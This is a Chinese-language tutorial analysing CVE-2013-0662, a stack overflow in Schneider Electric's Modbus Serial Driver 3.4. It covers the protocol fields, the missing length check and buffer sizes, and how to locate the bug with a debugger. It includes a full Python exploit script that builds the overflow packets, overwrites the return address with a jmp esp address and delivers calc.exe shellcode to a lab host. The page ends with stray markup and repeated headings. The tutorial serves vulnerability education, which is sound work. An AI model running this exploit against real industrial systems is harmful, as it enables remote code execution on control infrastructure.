SEIG Modbus 3.4 CVE-2013-0662 漏洞分析与利用教学文档<\/h1>

漏洞概述<\/h2>
CVE-2013-0662是Schneider Electric Modbus Serial Driver 3.4版本中存在的一个栈溢出漏洞。该漏洞存在于ModbusDrv.exe程序中，程序监听27700端口，在处理客户端发送的特定格式数据时会导致栈缓冲区溢出，可能被攻击者利用来执行任意代码。<\/p>

漏洞环境<\/h2>

受影响软件：Schneider Electric Modbus Serial Driver 3.4<\/li>
测试环境：Windows XP SP3<\/li>
监听端口：27700<\/li>

受影响进程：ModbusDrv.exe<\/li> <\/ul>

漏洞分析<\/h2>

协议处理流程<\/h3>

程序首先接收7字节的数据包，结构如下：<\/p>

struct<\/span> recv_struct {
<\/span><\/span>    __int16<\/span> nop;    \/\/ 无用字段(2字节)
<\/span><\/span><\/span><\/span>    __int16<\/span> key;    \/\/ 关键字段，决定后续处理流程(2字节)
<\/span><\/span><\/span><\/span>    __int16<\/span> size;   \/\/ 控制后续接收数据大小的字段(2字节)
<\/span><\/span><\/span><\/span>    char<\/span> padding;   \/\/ 填充字节(1字节)
<\/span><\/span><\/span><\/span>};
<\/span><\/span><\/code><\/pre><\/li>

关键处理逻辑：<\/p>

当key<\/code>字段值为0xFFFF时，程序会根据size<\/code>字段的值再次接收数据<\/li>
第二次接收的数据大小由size-1<\/code>决定<\/li>
接收的数据会被存入固定大小的栈缓冲区<\/li>
<\/ul>
<\/li>
<\/ol>
漏洞点定位<\/h3>


使用IDA交叉引用定位<\/strong>：<\/p>

搜索recv<\/code>函数的引用，找到数据接收函数<\/li>
分析调用链找到协议处理主函数<\/li>
<\/ul>
<\/li>

使用调试器硬件断点定位<\/strong>：<\/p>

在recv<\/code>函数下断点<\/li>
获取接收缓冲区地址<\/li>
在缓冲区设置硬件断点跟踪数据处理过程<\/li>
<\/ul>
<\/li>
<\/ol>
漏洞细节<\/h3>


第一次接收<\/strong>：<\/p>

接收7字节数据<\/li>
解析关键字段：

第3-4字节：key<\/code>字段(大端序)<\/li>
第5-6字节：control_size<\/code>字段(大端序)，后续接收大小为control_size-1<\/code><\/li>
<\/ul>
<\/li>
<\/ul>
<\/li>

第二次接收<\/strong>：<\/p>

当key == 0xFFFF<\/code>时触发<\/li>
接收control_size-1<\/code>字节数据到栈缓冲区<\/li>
栈缓冲区大小有限(0x830字节)，未进行长度校验导致溢出<\/li>
<\/ul>
<\/li>

数据处理校验<\/strong>：<\/p>

第二次接收的数据前2字节必须为0x0064(大端序)<\/li>
否则调用ExitThread<\/code>结束线程<\/li>
有效数据会被复制到另一个栈缓冲区(大小仅0x5DC字节)<\/li>
<\/ul>
<\/li>
<\/ol>
漏洞利用<\/h2>
利用条件<\/h3>

目标系统：Windows XP SP3(无DEP保护)<\/li>
利用方式：经典的jmp esp + shellcode<\/code>方式<\/li>
<\/ol>
利用步骤<\/h3>


构造第一次数据包：<\/p>

前2字节：任意值(如\xaa\xbb)<\/li>
第3-4字节：\xff\xff(触发第二次接收)<\/li>
第5-6字节：精心计算的大小值(如\x07\x10)<\/li>
第7字节：填充字节(如\xdd)<\/li>
<\/ul>
<\/li>

构造第二次数据包：<\/p>

前2字节：\x00\x64(通过校验)<\/li>
填充数据：覆盖缓冲区(0x5DC字节)<\/li>
覆盖返回地址：使用通用跳转地址(如0x7ffa4512)<\/li>
插入shellcode<\/li>
剩余空间填充<\/li>
<\/ul>
<\/li>
<\/ol>
利用代码示例<\/h3>
def<\/span> calc_exp<\/span>():
<\/span><\/span>    shellcode =<\/span> "<\/span>\x90<\/span>"<\/span> *<\/span> 100<\/span>  # NOP sled<\/span>
<\/span><\/span>    shellcode +=<\/span> "<\/span>\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b<\/span>"<\/span>
<\/span><\/span>    shellcode +=<\/span> "<\/span>\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7<\/span>"<\/span>
<\/span><\/span>    shellcode +=<\/span> "<\/span>\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf<\/span>"<\/span>
<\/span><\/span>    shellcode +=<\/span> "<\/span>\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c<\/span>"<\/span>
<\/span><\/span>    shellcode +=<\/span> "<\/span>\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01<\/span>"<\/span>
<\/span><\/span>    shellcode +=<\/span> "<\/span>\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31<\/span>"<\/span>
<\/span><\/span>    shellcode +=<\/span> "<\/span>\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d<\/span>"<\/span>
<\/span><\/span>    shellcode +=<\/span> "<\/span>\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66<\/span>"<\/span>
<\/span><\/span>    shellcode +=<\/span> "<\/span>\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0<\/span>"<\/span>
<\/span><\/span>    shellcode +=<\/span> "<\/span>\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f<\/span>"<\/span>
<\/span><\/span>    shellcode +=<\/span> "<\/span>\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00<\/span>"<\/span>
<\/span><\/span>    shellcode +=<\/span> "<\/span>\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5<\/span>"<\/span>
<\/span><\/span>    shellcode +=<\/span> "<\/span>\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a<\/span>"<\/span>
<\/span><\/span>    shellcode +=<\/span> "<\/span>\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53<\/span>"<\/span>
<\/span><\/span>    shellcode +=<\/span> "<\/span>\xff\xd5\x63\x61\x6c\x63\x00<\/span>"<\/span>  # calc.exe shellcode<\/span>
<\/span><\/span>
<\/span><\/span>    ip =<\/span> "192.168.245.134"<\/span>
<\/span><\/span>    port =<\/span> 27700<\/span>
<\/span><\/span>    sock =<\/span> socket.<\/span>socket(socket.<\/span>AF_INET, socket.<\/span>SOCK_STREAM)
<\/span><\/span>    sock.<\/span>connect((ip, port))
<\/span><\/span>    
<\/span><\/span>    # 第一次数据包<\/span>
<\/span><\/span>    payload =<\/span> "<\/span>\xaa\xbb<\/span>"<\/span>  # 无用字段<\/span>
<\/span><\/span>    payload +=<\/span> "<\/span>\xff\xff<\/span>"<\/span>  # 触发第二次接收<\/span>
<\/span><\/span>    payload +=<\/span> "<\/span>\x07\x10<\/span>"<\/span>  # size字段<\/span>
<\/span><\/span>    payload +=<\/span> "<\/span>\xdd<\/span>"<\/span>      # 填充字节<\/span>
<\/span><\/span>    
<\/span><\/span>    # 第二次数据包<\/span>
<\/span><\/span>    payload +=<\/span> "<\/span>\x00\x64<\/span>"<\/span>  # 通过校验<\/span>
<\/span><\/span>    payload +=<\/span> "A"<\/span> *<\/span> 0x5dc<\/span> # 填充缓冲区<\/span>
<\/span><\/span>    payload +=<\/span> p32(0x7ffa4512<\/span>)  # 通用jmp esp地址(XP\/2003)<\/span>
<\/span><\/span>    payload +=<\/span> shellcode
<\/span><\/span>    payload +=<\/span> "B"<\/span> *<\/span> (0x710<\/span> -<\/span> 1<\/span> -<\/span> 2<\/span> -<\/span> 0x5dc<\/span> -<\/span> 4<\/span> -<\/span> len(shellcode))
<\/span><\/span>    
<\/span><\/span>    sock.<\/span>send(payload)
<\/span><\/span><\/code><\/pre>漏洞修复<\/h2>
厂商通过添加对长度字段的校验来修复此漏洞，确保接收的数据大小不会超过缓冲区容量。<\/p>
参考链接<\/h2>

Exploit-DB上的漏洞详情<\/a><\/li>
漏洞利用示例代码<\/li>
相关工具下载链接(原文中提供的百度网盘链接)<\/li>
<\/ol>
总结<\/h2>
该漏洞是典型的栈溢出漏洞，由于缺乏对输入数据长度的校验导致。利用时需要精心构造数据包以通过程序的各种校验，最终通过覆盖返回地址实现代码执行。在实际利用中，需要注意目标系统的环境差异，特别是跳转地址的选择。<\/p>

SEIG Modbus 3.4 CVE-2013-0662 漏洞分析与利用教学文档<\/h1>

漏洞分析<\/h2>

漏洞利用<\/h2>

漏洞修复<\/h2> 厂商通过添加对长度字段的校验来修复此漏洞，确保接收的数据大小不会超过缓冲区容量。<\/p>

漏洞修复<\/h2>
厂商通过添加对长度字段的校验来修复此漏洞，确保接收的数据大小不会超过缓冲区容量。<\/p>